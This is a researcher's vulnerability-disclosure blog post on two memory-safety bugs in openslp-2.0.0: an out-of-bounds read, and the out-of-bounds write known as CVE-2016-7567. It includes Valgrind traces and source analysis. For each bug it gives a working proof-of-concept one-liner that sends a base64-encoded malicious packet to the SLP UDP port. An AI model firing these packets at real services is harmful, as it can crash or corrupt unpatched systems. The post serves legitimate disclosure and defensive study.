_ _ / | ___ ___ ___ ___ ___| |___ _ / / | . | . | -_| |_ -| | . | |_|_/ |___| _|___|_|_|___|_| _| |_| |_| 2018-11-07 MORE BUGS IN OPENSLP-2.0.0 ========================== I discovered some bugs in openslp-2.0.0 back in January, 2018. One of them I disclosed in June (dumpco.re/blog/openslp-2.0.0-double-free), and today I'm disclosing two more. BUG 1 ===== This issue is an OOB read that does not crash the application. So in terms of exploitation it is not very interesting. If that's what you're here for then scroll down to bug#2. After the occurence of the bug the application actually detects the error and ignores the malicious packet. Therefore, it could be argued that this is not a bug at all. Nevertheless, here it is: Proof of concept exploit: echo -n "AgMAAAAAAAAAAAAAAAAAAPQAATEAAAAAB2VuAAAAF3M=" | base64 -d > /dev/udp/127.0.0.1/427 Valgrind report: ==27968== Invalid read of size 1 ==27968== at 0x412436: GetUINT16 (slp_message.c:63) ==27968== by 0x4159C7: v2ParseSrvReg (slp_v2message.c:327) ==27968== by 0x4159C7: SLPv2MessageParseBuffer (slp_v2message.c:1005) ==27968== by 0x40BF4A: SLPDProcessMessage (slpd_process.c:1393) ==27968== by 0x407139: IncomingDatagramRead (slpd_incoming.c:95) ==27968== by 0x407139: SLPDIncomingHandler (slpd_incoming.c:420) ==27968== by 0x40256B: main (slpd_main.c:699) ==27968== Address 0x5b5c3f1 is 0 bytes after a block of size 81 alloc'd ==27968== at 0x4C28C20: malloc (vg_replace_malloc.c:296) ==27968== by 0x40FC1C: SLPBufferAlloc (slp_buffer.c:67) ==27968== by 0x40FCBA: SLPBufferDup (slp_buffer.c:139) ==27968== by 0x40BF7F: SLPDProcessMessage (slpd_process.c:1383) ==27968== by 0x407139: IncomingDatagramRead (slpd_incoming.c:95) ==27968== by 0x407139: SLPDIncomingHandler (slpd_incoming.c:420) ==27968== by 0x40256B: main (slpd_main.c:699) Analysis: v2ParseSrvReg is responsible for parsing incoming requests. Various bytes are read from the packet and interpreted as integers used as length fields. One of them is the scopelistlen, parsed on line 321, and further used as argument for the amount of bytes to increment the buffer->curpos pointer in the the GetStrPtr function, shown below on line 112. It now points to uninitialized memory. The OOB read occurs in GetUINT16, called on line 327 where the buffer->curpos pointer is dereferenced. Subsequently the comparison on line 329 evaluates to true since the buffer->curpos now points to memory located after the buffer->end pointer. The application therefore stops processing the malicious packet. 291 static int v2ParseSrvReg(SLPBuffer buffer, SLPSrvReg * srvreg) 292 { 293 int result; 294 295 /* 0 1 2 3 296 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 297 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 298 | \ 299 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 300 | length of service type string | \ 301 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 302 | length of | \ 303 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 304 | length of attr-list string | \ 305 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 306 |# of AttrAuths |(if present) Attribute Authentication Blocks...\ 307 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ */ 308 309 /* Parse the . */ 310 result = v2ParseUrlEntry(buffer, &srvreg->urlentry); 311 if (result != 0) 312 return result; 313 314 /* Parse the string. */ 315 srvreg->srvtypelen = GetUINT16(&buffer->curpos); 316 srvreg->srvtype = GetStrPtr(&buffer->curpos, srvreg->srvtypelen); 317 if (buffer->curpos > buffer->end) 318 return SLP_ERROR_PARSE_ERROR; 319 320 /* Parse the string. */ 321 srvreg->scopelistlen = GetUINT16(&buffer->curpos); 322 srvreg->scopelist = GetStrPtr(&buffer->curpos, srvreg->scopelistlen); 323 if (buffer->curpos > buffer->end) 324 return SLP_ERROR_PARSE_ERROR; 325 326 /* Parse the string. */ 327 srvreg->attrlistlen = GetUINT16(&buffer->curpos); 328 srvreg->attrlist = GetStrPtr(&buffer->curpos, srvreg->attrlistlen); 329 if (buffer->curpos > buffer->end) 330 return SLP_ERROR_PARSE_ERROR; 54 /** Extract a 16-bit big-endian buffer value into a native 16-bit word. 55 * 56 * @param[in,out] cpp - The address of a pointer from which to extract. 57 * 58 * @return A 16-bit unsigned value in native format; the buffer pointer 59 * is moved ahead by 2 bytes on return. 60 */ 61 uint16_t GetUINT16(uint8_t ** cpp) 62 { 63 uint16_t rv = AS_UINT16(*cpp); 64 *cpp += 2; 65 return rv; 66 } ... 96 /** Extract a string buffer address into a character pointer. 97 * 98 * Note that this routine doesn't actually copy the string. It only casts 99 * the buffer pointer to a character pointer and moves the value at @p cpp 100 * ahead by @p len bytes. 101 * 102 * @param[in,out] cpp - The address of a pointer from which to extract. 103 * @param[in] len - The length of the string to extract. 104 * 105 * @return A pointer to the first character at the address pointed to by 106 * @p cppstring pointer; the buffer pointer is moved ahead by @p len bytes 107 * on return. 108 */ 109 char * GetStrPtr(uint8_t ** cpp, size_t len) 110 { 111 char * sp = (char *)*cpp; 112 *cpp += len; 113 return sp; 114 } Proof of discovery: $ echo -n "AgMAAAAAAAAAAAAAAAAAAPQAATEAAAAAB2VuAAAAF3M=" | base64 -d | sha256sum 0d3f7a6e45a59def9097db4f103f95e4af2560bdb25853f9ee1c2e758c7d4946 - twitter.com/magnusstubman/status/953909628622069760 Patch: I'm not aware of any patch, and I'm not sure the maintainers are going to patch it. BUG 2 ===== First and foremost, I'm not claiming credit for this bug since it was apparently discovered by Reno Robert and publicly disclosed on the oss-security mailing list on 2016-09-27 and awarded CVE-2016-7567 the day after. openwall.com/lists/oss-security/2016/09/27/4 openwall.com/lists/oss-security/2016/09/28/1 Anyhow, I wasn't aware of the issue and found it by fuzzing, so I reported it to the maintainers who made me aware of the earlier discovery. What puzzled me was that no announcement had been made and the fact that the latest stable version on their website is still vulnerable! I found it 2017-12-06 and reported it 2018-01-18. See further down for proof of discovery. I havn't been able to find any exploit for this bug anywhere. Therefore, I'm today disclosing a proof-of-concept exploit for the bug to increase attention on the issue. Exploit: echo -n "AgkAAA8AAAAAAJuiAAAAAAAAAJtkaXJlYwB/ACssZVJlblxkZQkJCAkJ8wkJCQkJCYAJCQkJCWF0CQlkCQBkLCwsLEUsLCwsLCwsLCwsLCwsLCwsSCwsLCwsLIAsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCysLCwsLCwAAAPoLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCxcZGUJCQgJCfMJCQkJCQkJCQkJCQlhdAkJZAkAZCwsLCwsLCwsLCwsLA==" | base64 -d > /dev/udp/127.0.0.1/427 Valgrind report: ==56913== Invalid write of size 1 ==56913== at 0x4C2D6A3: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:914) ==56913== by 0x40FD0B: SLPFoldWhiteSpace (slp_compare.c:210) ==56913== by 0x4100DC: SLPCompareString (slp_compare.c:374) ==56913== by 0x410331: SLPContainsStringList (slp_compare.c:514) ==56913== by 0x4103C6: SLPIntersectStringList (slp_compare.c:550) ==56913== by 0x40C606: ProcessSrvTypeRqst (slpd_process.c:1220) ==56913== by 0x40C606: SLPDProcessMessage (slpd_process.c:1431) ==56913== by 0x406F69: IncomingDatagramRead (slpd_incoming.c:94) ==56913== by 0x406F69: SLPDIncomingHandler (slpd_incoming.c:406) ==56913== by 0x402383: main (slpd_main.c:699) ==56913== Address 0x5b5dd06 is 0 bytes after a block of size 6 alloc'd ==56913== at 0x4C28C20: malloc (vg_replace_malloc.c:296) ==56913== by 0x415C51: _xmemdup (slp_xmalloc.c:356) ==56913== by 0x410096: SLPCompareString (slp_compare.c:365) ==56913== by 0x410331: SLPContainsStringList (slp_compare.c:514) ==56913== by 0x4103C6: SLPIntersectStringList (slp_compare.c:550) ==56913== by 0x40C606: ProcessSrvTypeRqst (slpd_process.c:1220) ==56913== by 0x40C606: SLPDProcessMessage (slpd_process.c:1431) ==56913== by 0x406F69: IncomingDatagramRead (slpd_incoming.c:94) ==56913== by 0x406F69: SLPDIncomingHandler (slpd_incoming.c:406) ==56913== by 0x402383: main (slpd_main.c:699) The while loop on line 207 fails to perform bounds checking, and as such may end up incrementing the pointer p up to a point such that p is bigger than ep. Thus, the third argument to memmove on line 2010 becomes negative. However, since memmove accepts a size_t (which is unsigned) the value wraps around and becomes UINT_MAX or close to UINT_MAX resulting in memmove attempting to move an excessive amount of memory, resulting in OOB write. 184 /** fold internal white space within a string. 185 * 186 * folds all internal white space to a single space character within a 187 * specified string. modified the @p str parameter with the result and 188 * returns the new length of the string. 189 * 190 * @param[in] len - the length in bytes of @p str. 191 * @param[in,out] str - the string from which extraneous white space 192 * should be removed. 193 * 194 * @return the new (shorter) length of @p str. 195 * 196 * @note this routine assumes that leading and trailing white space have 197 * already been removed from @p str. 198 */ 199 static int slpfoldwhitespace(size_t len, char * str) 200 { 201 char * p = str, * ep = str + len; 202 while (p < ep) 203 { 204 if (isspace(*p)) 205 { 206 char * ws2p = ++p; /* point ws2p to the second ws char. */ 207 while (isspace(*p)) /* scan till we hit a non-ws char. */ 208 p++; 209 len -= p - ws2p; /* reduce the length by extra ws. */ 210 memmove(ws2p, p, ep - p); /* overwrite the extra white space. */ 211 } 212 p++; 213 } 214 return (int)len; 215 } Proof of discovery: $ echo -n "AgkAAA8AAAAAAJuiAAAAAAAAAJtkaXJlYwB/ACssZVJlblxkZQkJCAkJ8wkJCQkJCYAJCQkJCWF0CQlkCQBkLCwsLEUsLCwsLCwsLCwsLCwsLCwsSCwsLCwsLIAsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCysLCwsLCwAAAPoLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCwsLCxcZGUJCQgJCfMJCQkJCQkJCQkJCQlhdAkJZAkAZCwsLCwsLCwsLCwsLA==" | base64 -d | sha256sum 5bba9f9410bd4dffa4dc119477153002002db3fdd26a97080e43bfd95aeadb24 - twitter.com/magnusstubman/status/938317849474555904 Patch: sourceforge.net/p/openslp/mercurial/ci/34fb3aa5e6b4997fa21cb614e480de36da5dbc9a REFERENCES ========== - sourceforge.net/p/openslp/bugs/161 - sourceforge.net/p/openslp/bugs/160 - twitter.com/magnusstubman/status/938317849474555904 - twitter.com/magnusstubman/status/953909628622069760 - sourceforge.net/p/openslp/mercurial/ci/34fb3aa5e6b4997fa21cb614e480de36da5dbc9a - openwall.com/lists/oss-security/2016/09/27/4 - openwall.com/lists/oss-security/2016/09/28/1